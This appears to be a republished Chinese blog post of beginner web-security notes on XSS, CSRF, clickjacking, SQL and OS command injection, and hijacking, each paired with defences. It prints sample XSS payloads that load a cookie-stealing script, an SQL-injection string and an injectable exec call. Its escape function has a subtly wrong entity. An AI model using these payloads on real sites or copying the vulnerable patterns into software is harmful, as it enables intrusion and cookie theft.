IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 网络安全知识嗷 -> 正文阅读

[网络协议]网络安全知识嗷

title: 网络安全知识嗷
date: 2021-08-08 09:14:09
categories:
- [计算机基础]
tags: 前端 网络安全

1. XSS

Cross Site Scripting,跨站点脚本攻击,通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML或者是JS进行的一种攻击

它可以利用虚假的输入表单骗取用户信息,利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求

  • 反射性攻击 - url参数直接注入

// 普通
http://lcoalhost:3000/?from=china
?
// alert尝试
http://localhost:3000/?form=<script>alert(3)</script>
?
// 获取cookie
http://lcoalhost:3000/?form=<script src="http://localhost:4000/hack.js"></script>
?
// 伪造cookie进行登录
document.cookie = "伪造的cookie"
  • 存储型攻击 - 存储到DB时注入

<!--评论-->
<script>alert(1)</script>
?
<!--跨站脚本注入-->
<!--通过评论功能来注入其他域的脚本-->
我来了<script src="http://localhost:4000/hack.js"></script>

防范手段:

  • HEAD

ctx.set('X-XSS-Protection', 0)  // 禁止XSS过滤

启用XSS过滤(通常浏览器时默认的),如果监测到跨站脚本攻击,浏览器将会清除页面(删除掉不安全的部分)

  • CSP

内容安全策略是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括XSS和数据注入等攻击

本质时建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行,我们只需要配置规则,如何拦截是浏览器自己实现的

// 只允许加载本站资源
Content-Security-Policy: defalut-src 'self'
?
// 只允许加载HTTPS协议图片
Content-Security-Policy: img-src https://*
?
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
  • 转义字符

<!--ejs转义小知识-->
<% code %> 用于执行其中的javascript代码
<%= code %>会对code进行html转义
<%- code %>将不会进行转移,原样输出
  • 黑名单

思想:用户的输入永远不可信任,最普遍的做法就是转义输入输出的内容,对于引号,尖括号,斜杠进行转义

function escape(str) {
 ? ?str = str.replace(/&/g, '&amp;')
 ? ?str = str.replace(/</g, '&lt;')
 ? ?str = str.replace(/>/g, '&gt;')
 ? ?str = str.replace(/"/g, '&guto;')
 ? ?str = str.replace(/'/g, '&#39;')
 ? ?str = str.replace(/`/g, '&#96;')
 ? ?str = str.replace(/\//g, '&#x2F;')
 ? ?return str
}
// 不能处理富文本编辑,不然富文本的格式也会过滤掉
  • 白名单

const xss = require('xss')  // 使用xss库
let html = xss('<h1 id="title">XSS DEMO</h1><script>alert("XSS")</script>')
console.log(html)
  • HttpOnly

这是预防XSS攻击窃取用户cookie最有效的防御有段,Web应用程序在设置cookie时,将其属性设置为HttpOnly,就可以避免该网站的cookie被客户端恶意JavaScript窃取,保存用户cookie信息

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

2. CSRF

Cross Site Require Forgery 跨站请求伪造,是一种常见的Web攻击,他利用用户已登陆的身份,在用户毫不知情的情况下以用户的名义完成操作

  • 用户已经登陆了站点A,并在本地记录了cookie

  • 在用户没有等处站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)

  • 站点A没有做任何的CSRF防御

危害:利用用户登录态,完成业务请求,冒充用户发帖背锅,损害网站声誉

防御手段:

  • Referer Check - Http 不发送 referer

const referer = ctx.request.header.referer
console.log(referer)
  • 验证码(增加人机识别的过程)

  • cookie值进行hash,攻击者在访问信任网站A时,虽然浏览器可以在请求中带上cookie,但是网站A确不仅仅通过cookie来判断用户身份,同时通过用户发送过来的内容中的伪随机数请求真正是用户发送的,攻击者在请求A的时候,不能再提交的内容中产生伪随机数

3.点击劫持 - clickjacking

点击劫持是一种视觉的欺骗手段,攻击者将需要攻击的网站通过iframe嵌套的方式嵌套入自己的网页中,并将iframe设置为透明,在页面中透出一个按钮诱惑用户点击

防御手段:

  • X-FRAME-OPTIONS:是一个HTTP响应头,在现代浏览器有一个很好的支持,这个HTTP响应头,就是为了防御用iframe嵌套的点击劫持攻击

    • DENY:表示页面不允许通过iframe的方式展示

    • SAMEORIGIN:表示页面可以在相同域名下通过iframe的方式展示

    • ALLOW-FORM:表示页面可以在指定来源的iframe中展示

ctx.set('X-FRAME-OPTIONS': 'DENY')
  • js方式:

// self 是对当前窗口自身的引用 window属性是等价的
// top是返回顶层窗口,即浏览器窗口
if(self === top){
 ? ?var style = document.getElementById('click-jack')
 ? ?document.body.removeChild(style)
} else {
 ? ?top.location = self.location
}

4. SQL注入

填入特殊的密码:1 ‘or’ 1 ‘=’ 1

SELECT * FROM test.user
WHERE username = 'laowang'
AND password = '1 'or' 1 '=' 1'

防范手段:

所有查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,既不要直接拼接SQL语句

5. OS命令注入

和SQL一样,只不过注入的内容是针对操作系统的,通过Web应用,执行非法的操作系统指令来达到攻击的目的

const exec = require('mz/child_process').exec
let params = {/* 用户输入的参数 */}
exec(`git clone ${params.repo} /some/path`)

6. 请求劫持

  • DNS劫持 DNS服务器被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

  • HTTP劫持 只能使用HTTPS了

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-08-09 10:33:55  更:2021-08-09 10:34:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 19:23:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码